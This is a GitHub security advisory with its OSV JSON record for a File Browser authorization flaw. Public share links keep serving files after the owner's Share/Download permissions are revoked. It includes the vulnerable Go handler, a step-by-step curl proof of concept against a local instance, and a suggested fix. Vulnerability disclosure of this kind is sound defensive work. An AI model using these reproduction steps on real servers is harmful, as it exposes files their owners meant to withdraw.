GHSA-V9W4-GM2X-6RVF

Vulnerability from github – Published: 2026-04-08 00:04 – Updated: 2026-04-08 00:04
VLAI
Summary
File Browser share links remain accessible after Share/Download permissions are revoked
Details

When an admin revokes a user's Share and Download permissions, existing share links created by that user remain fully accessible to unauthenticated users. The public share download handler does not re-check the share owner's current permissions. Verified with a running PoC against v2.62.2 (commit 860c19d).

Details

Share creation (http/share.go:21-29) correctly checks permissions:

func withPermShare(fn handleFunc) handleFunc {
    return withUser(func(w http.ResponseWriter, r *http.Request, d *data) (int, error) {
        if !d.user.Perm.Share || !d.user.Perm.Download {
            return http.StatusForbidden, nil
        }
        return fn(w, r, d)
    })
}

But share access (http/public.go:18-87, withHashFile) does not:

var withHashFile = func(fn handleFunc) handleFunc {
    return func(w http.ResponseWriter, r *http.Request, d *data) (int, error) {
        link, err := d.store.Share.GetByHash(id)   // line 21: checks share exists
        authenticateShareRequest(r, link)            // line 26: checks password
        user, err := d.store.Users.Get(...)          // line 31: checks user exists
        d.user = user                                // line 36: sets user
        file, err := files.NewFileInfo(...)           // line 38: gets file
        // MISSING: no check for d.user.Perm.Share or d.user.Perm.Download
    }
}

Proof of Concept (runtime-verified)

# Step 1: Login as admin
TOKEN=$(curl -s -X POST http://localhost:18080/api/login \
  -H "Content-Type: application/json" \
  -d '{"username":"admin","password":"<admin-password>"}')

# Step 2: Create testuser with Share+Download permissions
curl -X POST http://localhost:18080/api/users \
  -H "X-Auth: $TOKEN" -H "Content-Type: application/json" \
  -d '{"what":"user","which":[],"current_password":"<admin-password>",
       "data":{"username":"testuser","password":"TestPass123!","scope":".",
       "perm":{"share":true,"download":true,"create":true}}}'

# Step 3: Login as testuser and create share
USER_TOKEN=$(curl -s -X POST http://localhost:18080/api/login \
  -H "Content-Type: application/json" \
  -d '{"username":"testuser","password":"TestPass123!"}')
curl -X POST http://localhost:18080/api/share/secret.txt \
  -H "X-Auth: $USER_TOKEN" -H "Content-Type: application/json" -d '{}'
# Returns: {"hash":"fB4Qwtsn","path":"/secret.txt","userID":2,"expire":0}

# Step 4: Verify share works (unauthenticated)
curl http://localhost:18080/api/public/dl/fB4Qwtsn
# Returns: file content (200 OK)

# Step 5: Admin revokes testuser's Share and Download permissions
curl -X PUT http://localhost:18080/api/users/2 \
  -H "X-Auth: $TOKEN" -H "Content-Type: application/json" \
  -d '{"what":"user","which":["all"],"current_password":"<admin-password>",
       "data":{"id":2,"username":"testuser","scope":".",
       "perm":{"share":false,"download":false,"create":true}}}'

# Step 6: Verify testuser CANNOT create new shares
curl -X POST http://localhost:18080/api/share/secret.txt \
  -H "X-Auth: $USER_TOKEN" -d '{}'
# Returns: 403 Forbidden (correct)

# Step 7: THE BUG - old share STILL works
curl http://localhost:18080/api/public/dl/fB4Qwtsn
# Returns: file content (200 OK) - SHOULD be 403

Impact

When an admin revokes a user's Share or Download permissions: - New share creation is correctly blocked (403) - But all existing shares created by that user remain fully accessible to unauthenticated users - The admin has a false sense of security: they believe revoking Share permission stops all sharing

This is the same vulnerability class as GHSA-68j5-4m99-w9w9 ("Authorization Policy Bypass in Public Share Download Flow").

Suggested Fix

Add permission re-validation in withHashFile:

user, err := d.store.Users.Get(d.server.Root, link.UserID)
if err != nil {
    return errToStatus(err), err
}

// Verify the share owner still has Share and Download permissions
if !user.Perm.Share || !user.Perm.Download {
    return http.StatusForbidden, nil
}

d.user = user

Update: Fix submitted as PR #5888.

Severity
8.2 (High)
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N
Show details on source website
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{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/filebrowser/filebrowser/v2"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.63.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-35604"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-08T00:04:59Z",
    "nvd_published_at": "2026-04-07T17:16:34Z",
    "severity": "HIGH"
  },
  "details": "When an admin revokes a user\u0027s Share and Download permissions, existing share links created by that user remain fully accessible to unauthenticated users. The public share download handler does not re-check the share owner\u0027s current permissions. Verified with a running PoC against v2.62.2 (commit 860c19d).\n\n## Details\n\nShare creation (`http/share.go:21-29`) correctly checks permissions:\n\n    func withPermShare(fn handleFunc) handleFunc {\n        return withUser(func(w http.ResponseWriter, r *http.Request, d *data) (int, error) {\n            if !d.user.Perm.Share || !d.user.Perm.Download {\n                return http.StatusForbidden, nil\n            }\n            return fn(w, r, d)\n        })\n    }\n\nBut share access (`http/public.go:18-87`, `withHashFile`) does not:\n\n    var withHashFile = func(fn handleFunc) handleFunc {\n        return func(w http.ResponseWriter, r *http.Request, d *data) (int, error) {\n            link, err := d.store.Share.GetByHash(id)   // line 21: checks share exists\n            authenticateShareRequest(r, link)            // line 26: checks password\n            user, err := d.store.Users.Get(...)          // line 31: checks user exists\n            d.user = user                                // line 36: sets user\n            file, err := files.NewFileInfo(...)           // line 38: gets file\n            // MISSING: no check for d.user.Perm.Share or d.user.Perm.Download\n        }\n    }\n\n## Proof of Concept (runtime-verified)\n\n    # Step 1: Login as admin\n    TOKEN=$(curl -s -X POST http://localhost:18080/api/login \\\n      -H \"Content-Type: application/json\" \\\n      -d \u0027{\"username\":\"admin\",\"password\":\"\u003cadmin-password\u003e\"}\u0027)\n\n    # Step 2: Create testuser with Share+Download permissions\n    curl -X POST http://localhost:18080/api/users \\\n      -H \"X-Auth: $TOKEN\" -H \"Content-Type: application/json\" \\\n      -d \u0027{\"what\":\"user\",\"which\":[],\"current_password\":\"\u003cadmin-password\u003e\",\n           \"data\":{\"username\":\"testuser\",\"password\":\"TestPass123!\",\"scope\":\".\",\n           \"perm\":{\"share\":true,\"download\":true,\"create\":true}}}\u0027\n\n    # Step 3: Login as testuser and create share\n    USER_TOKEN=$(curl -s -X POST http://localhost:18080/api/login \\\n      -H \"Content-Type: application/json\" \\\n      -d \u0027{\"username\":\"testuser\",\"password\":\"TestPass123!\"}\u0027)\n    curl -X POST http://localhost:18080/api/share/secret.txt \\\n      -H \"X-Auth: $USER_TOKEN\" -H \"Content-Type: application/json\" -d \u0027{}\u0027\n    # Returns: {\"hash\":\"fB4Qwtsn\",\"path\":\"/secret.txt\",\"userID\":2,\"expire\":0}\n\n    # Step 4: Verify share works (unauthenticated)\n    curl http://localhost:18080/api/public/dl/fB4Qwtsn\n    # Returns: file content (200 OK)\n\n    # Step 5: Admin revokes testuser\u0027s Share and Download permissions\n    curl -X PUT http://localhost:18080/api/users/2 \\\n      -H \"X-Auth: $TOKEN\" -H \"Content-Type: application/json\" \\\n      -d \u0027{\"what\":\"user\",\"which\":[\"all\"],\"current_password\":\"\u003cadmin-password\u003e\",\n           \"data\":{\"id\":2,\"username\":\"testuser\",\"scope\":\".\",\n           \"perm\":{\"share\":false,\"download\":false,\"create\":true}}}\u0027\n\n    # Step 6: Verify testuser CANNOT create new shares\n    curl -X POST http://localhost:18080/api/share/secret.txt \\\n      -H \"X-Auth: $USER_TOKEN\" -d \u0027{}\u0027\n    # Returns: 403 Forbidden (correct)\n\n    # Step 7: THE BUG - old share STILL works\n    curl http://localhost:18080/api/public/dl/fB4Qwtsn\n    # Returns: file content (200 OK) - SHOULD be 403\n\n## Impact\n\nWhen an admin revokes a user\u0027s Share or Download permissions:\n- New share creation is correctly blocked (403)\n- But all existing shares created by that user remain fully accessible to unauthenticated users\n- The admin has a false sense of security: they believe revoking Share permission stops all sharing\n\nThis is the same vulnerability class as GHSA-68j5-4m99-w9w9 (\"Authorization Policy Bypass in Public Share Download Flow\").\n\n## Suggested Fix\n\nAdd permission re-validation in `withHashFile`:\n\n    user, err := d.store.Users.Get(d.server.Root, link.UserID)\n    if err != nil {\n        return errToStatus(err), err\n    }\n\n    // Verify the share owner still has Share and Download permissions\n    if !user.Perm.Share || !user.Perm.Download {\n        return http.StatusForbidden, nil\n    }\n\n    d.user = user\n\n---\n\n**Update:** Fix submitted as PR #5888.",
  "id": "GHSA-v9w4-gm2x-6rvf",
  "modified": "2026-04-08T00:04:59Z",
  "published": "2026-04-08T00:04:59Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/filebrowser/filebrowser/security/advisories/GHSA-v9w4-gm2x-6rvf"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-35604"
    },
    {
      "type": "WEB",
      "url": "https://github.com/filebrowser/filebrowser/pull/5888"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/filebrowser/filebrowser"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "File Browser share links remain accessible after Share/Download permissions are revoked"
}



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